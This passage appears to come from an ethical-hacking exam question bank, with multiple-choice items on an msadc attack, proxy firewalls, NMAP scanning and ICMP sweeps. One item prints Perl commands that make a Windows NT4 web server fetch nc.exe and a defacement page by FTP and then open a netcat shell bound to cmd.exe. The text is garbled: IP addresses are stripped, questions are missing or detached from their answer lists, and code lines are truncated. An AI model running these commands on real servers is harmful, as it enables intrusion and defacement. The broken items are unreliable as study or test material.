  8. A tester has been using the attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:

    system(“perl -h $host -C \”echo bin>>testfile\””);
    system(“perl -h $host -C \”echo get nc.exe>>testfile\””);
    system(“perl -h $host -C \”echo get hacked.html>>testfile\””);
    (“perl -h $host -C \”echo quit>>testfile\””);
    system(“perl -h $host -C \”ftp \-s\:testfile\””);
    $o=; print “Opening …\n”;
    system(“perl -h $host -C \”nc -l -p $port -e cmd.exe\””);

  10. Which of the statements concerning proxy firewalls is correct?

    • Proxy firewalls increase the speed and functionality of a network.
    • Firewall proxy servers decentralize all activity for an application.
    • Proxy firewalls block network packets from passing to and from a protected network.
    • Computers establish a connection with a proxy firewall which initiates a new network connection for the client.

    • NMAP -PN -O -sS -p 1-1024 192.168.0/8
  12. While checking the settings on the internet browser, a technician finds that the proxy server settings have been checked and a computer is trying to use itself as a proxy server. What specific octet within the subnet does the technician see?

  13. A company has five different subnets:,,, and How can NMAP be used to scan these adjacent Class C networks?

    • NMAP -P 192.168.1-5.
    • NMAP -P
    • NMAP -P,2.0,3.0,4.0,5.0

    • Spoofing an IP address
    • Tunneling scan over SSH
    • Tunneling over high port numbers
    • Scanning using fragmented IP packets

    • -sO
    • -sP
    • -sS
    • -sU
  16. ICMP ping and ping sweeps are used to check for active systems and to check

    • if ICMP ping traverses a firewall.
